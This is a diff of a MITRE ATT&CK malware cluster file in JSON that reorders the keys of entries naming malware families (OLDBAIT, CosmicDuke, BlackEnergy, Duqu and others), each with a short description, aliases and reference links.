--- a/clusters/mitre-enterprise-attack-malware.json
+++ b/clusters/mitre-enterprise-attack-malware.json
@@ -1,54 +1,52 @@
{
- "name": "Enterprise Attack - Malware",
- "type": "mitre-enterprise-attack-malware",
- "description": "Name of ATT&CK software",
- "version": 4,
- "source": "https://github.com/mitre/cti",
- "uuid": "fbd79f02-1707-11e8-b1c7-87406102276a",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK software",
+ "name": "Enterprise Attack - Malware",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-malware",
+ "uuid": "fbd79f02-1707-11e8-b1c7-87406102276a",
"values": [
{
"description": "OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: OLDBAIT, Sasfis",
- "value": "OLDBAIT - S0138",
"meta": {
+ "external_id": "S0138",
"refs": [
"https://attack.mitre.org/wiki/Software/S0138",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
- "external_id": "S0138",
"synonyms": [
"OLDBAIT",
"Sasfis"
]
},
- "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be"
+ "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be",
+ "value": "OLDBAIT - S0138"
},
{
"description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL",
- "value": "PHOREAL - S0158",
"meta": {
+ "external_id": "S0158",
"refs": [
"https://attack.mitre.org/wiki/Software/S0158",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
- "external_id": "S0158",
"synonyms": [
"PHOREAL"
]
},
- "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e"
+ "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e",
+ "value": "PHOREAL - S0158"
},
{
"description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina",
- "value": "CosmicDuke - S0050",
"meta": {
+ "external_id": "S0050",
"refs": [
"https://attack.mitre.org/wiki/Software/S0050",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0050",
"synonyms": [
"CosmicDuke",
"TinyBaron",
@@ -56,215 +54,216 @@
"NemesisGemina"
]
},
- "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee"
+ "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
+ "value": "CosmicDuke - S0050"
},
{
"description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)\n\nAliases: H1N1",
- "value": "H1N1 - S0132",
"meta": {
+ "external_id": "S0132",
"refs": [
"https://attack.mitre.org/wiki/Software/S0132",
"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
],
- "external_id": "S0132",
"synonyms": [
"H1N1"
]
},
- "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd"
+ "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd",
+ "value": "H1N1 - S0132"
},
{
"description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SPACESHIP",
- "value": "SPACESHIP - S0035",
"meta": {
+ "external_id": "S0035",
"refs": [
"https://attack.mitre.org/wiki/Software/S0035",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "external_id": "S0035",
"synonyms": [
"SPACESHIP"
]
},
- "uuid": "8b880b41-5139-4807-baa9-309690218719"
+ "uuid": "8b880b41-5139-4807-baa9-309690218719",
+ "value": "SPACESHIP - S0035"
},
{
"description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)\n\nAliases: Hi-Zor",
- "value": "Hi-Zor - S0087",
"meta": {
+ "external_id": "S0087",
"refs": [
"https://attack.mitre.org/wiki/Software/S0087",
"http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
],
- "external_id": "S0087",
"synonyms": [
"Hi-Zor"
]
},
- "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc"
+ "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc",
+ "value": "Hi-Zor - S0087"
},
{
"description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE",
- "value": "TEXTMATE - S0146",
"meta": {
+ "external_id": "S0146",
"refs": [
"https://attack.mitre.org/wiki/Software/S0146",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
],
- "external_id": "S0146",
"synonyms": [
"DNSMessenger",
"TEXTMATE"
]
},
- "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47"
+ "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
+ "value": "TEXTMATE - S0146"
},
{
"description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)\n\nAliases: Net Crawler, NetC",
- "value": "Net Crawler - S0056",
"meta": {
+ "external_id": "S0056",
"refs": [
"https://attack.mitre.org/wiki/Software/S0056",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
],
- "external_id": "S0056",
"synonyms": [
"Net Crawler",
"NetC"
]
},
- "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704"
+ "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704",
+ "value": "Net Crawler - S0056"
},
{
"description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)\n\nAliases: BlackEnergy, Black Energy",
- "value": "BlackEnergy - S0089",
"meta": {
+ "external_id": "S0089",
"refs": [
"https://attack.mitre.org/wiki/Software/S0089",
"https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
],
- "external_id": "S0089",
"synonyms": [
"BlackEnergy",
"Black Energy"
]
},
- "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4"
+ "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
+ "value": "BlackEnergy - S0089"
},
{
"description": " (Citation: XAgentOSX) is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)\n\nAliases: (Citation: XAgentOSX)",
- "value": "XAgentOSX - S0161",
"meta": {
+ "external_id": "S0161",
"refs": [
"https://attack.mitre.org/wiki/Software/S0161",
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
],
- "external_id": "S0161",
"synonyms": [
"XAgentOSX"
]
},
- "uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069"
+ "uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069",
+ "value": "XAgentOSX - S0161"
},
{
"description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader",
- "value": "Pisloader - S0124",
"meta": {
+ "external_id": "S0124",
"refs": [
"https://attack.mitre.org/wiki/Software/S0124",
"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
],
- "external_id": "S0124",
"synonyms": [
"Pisloader"
]
},
- "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236"
+ "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236",
+ "value": "Pisloader - S0124"
},
{
"description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)\n\nAliases: Backdoor.Oldrea, Havex",
- "value": "Backdoor.Oldrea - S0093",
"meta": {
+ "external_id": "S0093",
"refs": [
"https://attack.mitre.org/wiki/Software/S0093",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
- "external_id": "S0093",
"synonyms": [
"Backdoor.Oldrea",
"Havex"
]
},
- "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974"
+ "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974",
+ "value": "Backdoor.Oldrea - S0093"
},
{
"description": "is a custom JavaScript backdoor used by Leviathan. (Citation: Proofpoint Leviathan Oct 2017)\n\nAliases: NanHaiShu",
- "value": "NanHaiShu - S0228",
"meta": {
+ "external_id": "S0228",
"refs": [
"https://attack.mitre.org/wiki/Software/S0228",
"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
],
- "external_id": "S0228",
"synonyms": [
"NanHaiShu"
]
},
- "uuid": "705f0783-5f7d-4491-b6b7-9628e6e006d2"
+ "uuid": "705f0783-5f7d-4491-b6b7-9628e6e006d2",
+ "value": "NanHaiShu - S0228"
},
{
"description": "Starloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev",
- "value": "Starloader - S0188",
"meta": {
+ "external_id": "S0188",
"refs": [
"https://attack.mitre.org/wiki/Software/S0188",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
],
- "external_id": "S0188",
"synonyms": [
"Starloader"
]
},
- "uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4"
+ "uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4",
+ "value": "Starloader - S0188"
},
{
"description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: ChChes, Scorpion, HAYMAKER",
- "value": "ChChes - S0144",
"meta": {
+ "external_id": "S0144",
"refs": [
"https://attack.mitre.org/wiki/Software/S0144",
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
],
- "external_id": "S0144",
"synonyms": [
"ChChes",
"Scorpion",
"HAYMAKER"
]
},
- "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e"
+ "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
+ "value": "ChChes - S0144"
},
{
"description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)\n\nAliases: Hacking Team UEFI Rootkit",
- "value": "Hacking Team UEFI Rootkit - S0047",
"meta": {
+ "external_id": "S0047",
"refs": [
"https://attack.mitre.org/wiki/Software/S0047",
"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"
],
- "external_id": "S0047",
"synonyms": [
"Hacking Team UEFI Rootkit"
]
},
- "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8"
+ "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8",
+ "value": "Hacking Team UEFI Rootkit - S0047"
},
{
"description": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)\n\nAliases: Hydraq, Aurora, 9002 RAT",
- "value": "Hydraq - S0203",
"meta": {
+ "external_id": "S0203",
"refs": [
"https://attack.mitre.org/wiki/Software/S0203",
"https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ",
@@ -276,436 +275,436 @@
"https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html",
"https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"
],
- "external_id": "S0203",
"synonyms": [
"Hydraq",
"Aurora",
"9002 RAT"
]
},
- "uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f"
+ "uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f",
+ "value": "Hydraq - S0203"
},
{
"description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient",
- "value": "httpclient - S0068",
"meta": {
+ "external_id": "S0068",
"refs": [
"https://attack.mitre.org/wiki/Software/S0068",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
- "external_id": "S0068",
"synonyms": [
"httpclient"
]
},
- "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0"
+ "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0",
+ "value": "httpclient - S0068"
},
{
"description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)\n\nAliases: Downdelph, Delphacy",
- "value": "Downdelph - S0134",
"meta": {
+ "external_id": "S0134",
"refs": [
"https://attack.mitre.org/wiki/Software/S0134",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
],
- "external_id": "S0134",
"synonyms": [
"Downdelph",
"Delphacy"
]
},
- "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519"
+ "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519",
+ "value": "Downdelph - S0134"
},
{
"description": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)\n\nAliases: CCBkdr",
- "value": "CCBkdr - S0222",
"meta": {
+ "external_id": "S0222",
"refs": [
"https://attack.mitre.org/wiki/Software/S0222",
"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
"http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"
],
- "external_id": "S0222",
"synonyms": [
"CCBkdr"
]
},
- "uuid": "b0f13390-cec7-4814-b37c-ccec01887faa"
+ "uuid": "b0f13390-cec7-4814-b37c-ccec01887faa",
+ "value": "CCBkdr - S0222"
},
{
"description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx",
- "value": "StreamEx - S0142",
"meta": {
+ "external_id": "S0142",
"refs": [
"https://attack.mitre.org/wiki/Software/S0142",
"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
],
- "external_id": "S0142",
"synonyms": [
"StreamEx"
]
},
- "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86"
+ "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86",
+ "value": "StreamEx - S0142"
},
{
"description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo",
- "value": "Psylo - S0078",
"meta": {
+ "external_id": "S0078",
"refs": [
"https://attack.mitre.org/wiki/Software/S0078",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
- "external_id": "S0078",
"synonyms": [
"Psylo"
]
},
- "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b"
+ "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b",
+ "value": "Psylo - S0078"
},
{
"description": "HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)\n\nAliases: HDoor, Custom HDoor",
- "value": "HDoor - S0061",
"meta": {
+ "external_id": "S0061",
"refs": [
"https://attack.mitre.org/wiki/Software/S0061",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
- "external_id": "S0061",
"synonyms": [
"HDoor",
"Custom HDoor"
]
},
- "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b"
+ "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
+ "value": "HDoor - S0061"
},
{
"description": "Smoke Loader is a bot that has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. (Citation: Malwarebytes SmokeLoader 2016)\n\nAliases: Smoke Loader, Dofoil",
- "value": "Smoke Loader - S0226",
"meta": {
+ "external_id": "S0226",
"refs": [
"https://attack.mitre.org/wiki/Software/S0226",
"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"
],
- "external_id": "S0226",
"synonyms": [
"Smoke Loader",
"Dofoil"
]
},
- "uuid": "0c824410-58ff-49b2-9cf2-1c96b182bdf0"
+ "uuid": "0c824410-58ff-49b2-9cf2-1c96b182bdf0",
+ "value": "Smoke Loader - S0226"
},
{
"description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases: (Citation: Janicab)",
- "value": "Janicab - S0163",
"meta": {
+ "external_id": "S0163",
"refs": [
"https://attack.mitre.org/wiki/Software/S0163",
"http://www.thesafemac.com/new-signed-malware-called-janicab/"
],
- "external_id": "S0163",
"synonyms": [
"Janicab"
]
},
- "uuid": "234e7770-99b0-4f65-b983-d3230f76a60b"
+ "uuid": "234e7770-99b0-4f65-b983-d3230f76a60b",
+ "value": "Janicab - S0163"
},
{
"description": "is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: WINERACK",
- "value": "WINERACK - S0219",
"meta": {
+ "external_id": "S0219",
"refs": [
"https://attack.mitre.org/wiki/Software/S0219",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0219",
"synonyms": [
"WINERACK"
]
},
- "uuid": "49abab73-3c5c-476e-afd5-69b5c732d845"
+ "uuid": "49abab73-3c5c-476e-afd5-69b5c732d845",
+ "value": "WINERACK - S0219"
},
{
"description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD",
- "value": "WINDSHIELD - S0155",
"meta": {
+ "external_id": "S0155",
"refs": [
"https://attack.mitre.org/wiki/Software/S0155",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
- "external_id": "S0155",
"synonyms": [
"WINDSHIELD"
]
},
- "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c"
+ "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c",
+ "value": "WINDSHIELD - S0155"
},
{
"description": "TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)\n\nAliases: TinyZBot",
- "value": "TinyZBot - S0004",
"meta": {
+ "external_id": "S0004",
"refs": [
"https://attack.mitre.org/wiki/Software/S0004",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
],
- "external_id": "S0004",
"synonyms": [
"TinyZBot"
]
},
- "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9"
+ "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
+ "value": "TinyZBot - S0004"
},
{
"description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna",
- "value": "BACKSPACE - S0031",
"meta": {
+ "external_id": "S0031",
"refs": [
"https://attack.mitre.org/wiki/Software/S0031",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "external_id": "S0031",
"synonyms": [
"BACKSPACE",
"Lecna"
]
},
- "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d"
+ "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d",
+ "value": "BACKSPACE - S0031"
},
{
"description": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)\n\nAliases: ZeroT",
- "value": "ZeroT - S0230",
"meta": {
+ "external_id": "S0230",
"refs": [
"https://attack.mitre.org/wiki/Software/S0230",
"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
],
- "external_id": "S0230",
"synonyms": [
"ZeroT"
]
},
- "uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f"
+ "uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f",
+ "value": "ZeroT - S0230"
},
{
"description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke",
- "value": "PinchDuke - S0048",
"meta": {
+ "external_id": "S0048",
"refs": [
"https://attack.mitre.org/wiki/Software/S0048",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0048",
"synonyms": [
"PinchDuke"
]
},
- "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164"
+ "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164",
+ "value": "PinchDuke - S0048"
},
{
"description": "CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)\n\nAliases: CloudDuke, MiniDionis, CloudLook",
- "value": "CloudDuke - S0054",
"meta": {
+ "external_id": "S0054",
"refs": [
"https://attack.mitre.org/wiki/Software/S0054",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf",
"https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/"
],
- "external_id": "S0054",
"synonyms": [
"CloudDuke",
"MiniDionis",
"CloudLook"
]
},
- "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df"
+ "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df",
+ "value": "CloudDuke - S0054"
},
{
"description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)\n\nAliases: RedLeaves, BUGJUICE",
- "value": "RedLeaves - S0153",
"meta": {
+ "external_id": "S0153",
"refs": [
"https://attack.mitre.org/wiki/Software/S0153",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
],
- "external_id": "S0153",
"synonyms": [
"RedLeaves",
"BUGJUICE"
]
},
- "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5"
+ "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
+ "value": "RedLeaves - S0153"
},
{
"description": "WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: WinMM",
- "value": "WinMM - S0059",
"meta": {
+ "external_id": "S0059",
"refs": [
"https://attack.mitre.org/wiki/Software/S0059",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
- "external_id": "S0059",
"synonyms": [
"WinMM"
]
},
- "uuid": "22addc7b-b39f-483d-979a-1b35147da5de"
+ "uuid": "22addc7b-b39f-483d-979a-1b35147da5de",
+ "value": "WinMM - S0059"
},
{
"description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: MobileOrder",
- "value": "MobileOrder - S0079",
"meta": {
+ "external_id": "S0079",
"refs": [
"https://attack.mitre.org/wiki/Software/S0079",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
- "external_id": "S0079",
"synonyms": [
"MobileOrder"
]
},
- "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4"
+ "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4",
+ "value": "MobileOrder - S0079"
},
{
"description": "Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: Sys10",
- "value": "Sys10 - S0060",
"meta": {
+ "external_id": "S0060",
"refs": [
"https://attack.mitre.org/wiki/Software/S0060",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
- "external_id": "S0060",
"synonyms": [
"Sys10"
]
},
- "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481"
+ "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481",
+ "value": "Sys10 - S0060"
},
{
"description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)\n\nAliases: Duqu",
- "value": "Duqu - S0038",
"meta": {
+ "external_id": "S0038",
"refs": [
"https://attack.mitre.org/wiki/Software/S0038",
"https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf"
],
- "external_id": "S0038",
"synonyms": [
"Duqu"
]
},
- "uuid": "68dca94f-c11d-421e-9287-7c501108e18c"
+ "uuid": "68dca94f-c11d-421e-9287-7c501108e18c",
+ "value": "Duqu - S0038"
},
{
"description": "is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)\n\nAliases: HAPPYWORK",
- "value": "HAPPYWORK - S0214",
"meta": {
+ "external_id": "S0214",
"refs": [
"https://attack.mitre.org/wiki/Software/S0214",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0214",
"synonyms": [
"HAPPYWORK"
]
},
- "uuid": "211cfe9f-2676-4e1c-a5f5-2c8091da2a68"
+ "uuid": "211cfe9f-2676-4e1c-a5f5-2c8091da2a68",
+ "value": "HAPPYWORK - S0214"
},
{
"description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM",
- "value": "FakeM - S0076",
"meta": {
+ "external_id": "S0076",
"refs": [
"https://attack.mitre.org/wiki/Software/S0076",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
- "external_id": "S0076",
"synonyms": [
"FakeM"
]
},
- "uuid": "bb3c1098-d654-4620-bf40-694386d28921"
+ "uuid": "bb3c1098-d654-4620-bf40-694386d28921",
+ "value": "FakeM - S0076"
},
{
"description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SHIPSHAPE",
- "value": "SHIPSHAPE - S0028",
"meta": {
+ "external_id": "S0028",
"refs": [
"https://attack.mitre.org/wiki/Software/S0028",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "external_id": "S0028",
"synonyms": [
"SHIPSHAPE"
]
},
- "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a"
+ "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a",
+ "value": "SHIPSHAPE - S0028"
},
{
"description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000",
- "value": "T9000 - S0098",
"meta": {
+ "external_id": "S0098",
"refs": [
"https://attack.mitre.org/wiki/Software/S0098",
"https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html",
"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
],
- "external_id": "S0098",
"synonyms": [
"T9000"
]
},
- "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3"
+ "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3",
+ "value": "T9000 - S0098"
},
{
"description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: EvilGrab",
- "value": "EvilGrab - S0152",
"meta": {
+ "external_id": "S0152",
"refs": [
"https://attack.mitre.org/wiki/Software/S0152",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
],
- "external_id": "S0152",
"synonyms": [
"EvilGrab"
]
},
